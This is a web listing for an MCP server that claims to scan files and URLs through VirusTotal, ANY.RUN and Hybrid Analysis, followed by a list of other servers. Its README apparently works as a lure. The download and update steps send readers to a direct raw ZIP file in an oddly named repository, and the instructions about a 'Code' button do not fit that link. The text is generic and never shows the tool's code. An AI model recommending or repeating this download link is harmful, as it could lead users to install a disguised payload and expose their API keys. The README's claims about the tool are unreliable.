Malware-Sandbox-mcp

Malware-Sandbox-mcp

Enables assistants to analyze files and URLs for malware by integrating with security services like VirusTotal and ANY.RUN, returning threat reports.

Category
Visit Server

README

🔍 Malware-Sandbox-mcp - Analyze suspicious files from your computer

📌 What this software does

The Malware-Sandbox-mcp tool connects your text-based assistant to security services on the internet. It helps you check if a file or a web link is dangerous. You send a file to the tool, and it talks to services like Hybrid Analysis, ANY.RUN, and VirusTotal to find threats. It then gives you a report so you know if you should trust the file.

This tool acts as a bridge between your desktop environment and professional security databases. It simplifies the process of checking for viruses or malicious code without needing to use multiple websites manually. You get clear data about potential threats through your assistant interface.

💻 Requirements

  • A Windows 10 or Windows 11 computer.
  • An active internet connection.
  • API keys from at least one supported service (e.g., VirusTotal or ANY.RUN).
  • The Claude desktop application installed.

🚀 Setting up the software

  1. Visit this page to download the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
  2. Locate the button labeled "Code" on the repository page.
  3. Choose "Download ZIP" from the menu.
  4. Save the file to your "Downloads" folder.
  5. Right-click the downloaded file and select "Extract All."
  6. Choose a folder on your computer to store the extracted files.

🔧 Connecting your accounts

To use this tool, you must provide your own access keys. These keys allow the tool to speak with the security services on your behalf.

  1. Open the folder where you extracted the files.
  2. Find the file labeled config.json inside the document folder.
  3. Open this file using any text editor like Notepad.
  4. Paste your API keys for the services you use into the designated spots.
  5. Save and close the file.

These keys are personal. Do not share them with others. They ensure that your requests to check files reach your specific account on services like VirusTotal or URLScan.

⚙️ Running the application

After you install the tool and set your keys, you connect it to your assistant.

  1. Open the Claude desktop application.
  2. Open the settings menu within the application.
  3. Select the "Configurations" or "MCP" section.
  4. Click the button to add a new server.
  5. For the command field, type the path to your Python installation followed by the path to the main.py file inside your project folder.
  6. Save the configuration.

Once you add the server, look at the sidebar or the chat input. You should see a new icon or a notification that tools are available. You can now use the assistant to scan files by typing a request like "Analyze this link for threats" or "Check this file's safety."

🛡️ Understanding the reports

The tool returns a summary of the data it finds. Here is how to read it:

  • Threat Score: Most services provide a number or a color-coded status. A low score usually means the file is safe. A high score suggests the file contains malicious code.
  • Tags: These describe what the file does. Tags like "Trojan," "Spyware," or "Ransomware" tell you the type of danger.
  • URL data: This section shows if a link redirects to a site known for hosting harmful content.
  • MITRE ATT&CK: This refers to a common framework. It lists the methods the malware uses to infect a machine. This helps you understand how the software tries to bypass your security.

🛠️ Troubleshooting common issues

If the tool does not work, check these common fixes:

  • API Key Errors: If the scan fails immediately, your API key might be incorrect or have no remaining requests. Check your balance on the service provider's website.
  • Missing Python: This tool requires Python. If you do not have Python installed, the computer will not understand the commands. Visit the official Python website to download the latest version for Windows.
  • File Path issues: Ensure the paths you provided in the Claude configuration correctly point to the exact location of the files on your hard drive.
  • Network block: Ensure your firewall allows the application to connect to the internet. If you use a corporate network, your company might block access to external security services.

🔄 Updating your software

To get new features or bug fixes, you should update the tool occasionally.

  1. Return to the link where you downloaded the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
  2. Download the latest ZIP file as you did before.
  3. Replace the old folders with the new ones.
  4. Ensure your config.json file remains intact or transfer your settings into the new folder.
  5. Restart your assistant application to load the new version.

📈 Improving your results

You become more effective as you add more service keys to your configuration. Each service has different strengths. For example, some services focus on file behavior, while others track harmful websites. By configuring keys for multiple services, the tool compares data from different sources. This gives you a more complete picture of the threat. Keep your keys secure and store them only in your local configuration file. Never paste your keys into chat windows or public forums.

Recommended Servers

playwright-mcp

playwright-mcp

A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.

Official
Featured
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.

Official
Featured
Local
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.

Official
Featured
Local
TypeScript
VeyraX MCP

VeyraX MCP

Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.

Official
Featured
Local
graphlit-mcp-server

graphlit-mcp-server

The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.

Official
Featured
TypeScript
Kagi MCP Server

Kagi MCP Server

An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.

Official
Featured
Python
E2B

E2B

Using MCP to run code via e2b.

Official
Featured
Neon Database

Neon Database

MCP server for interacting with Neon Management API and databases

Official
Featured
Qdrant Server

Qdrant Server

This repository is an example of how to create a MCP server for Qdrant, a vector search engine.

Official
Featured
Exa Search

Exa Search

A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.

Official
Featured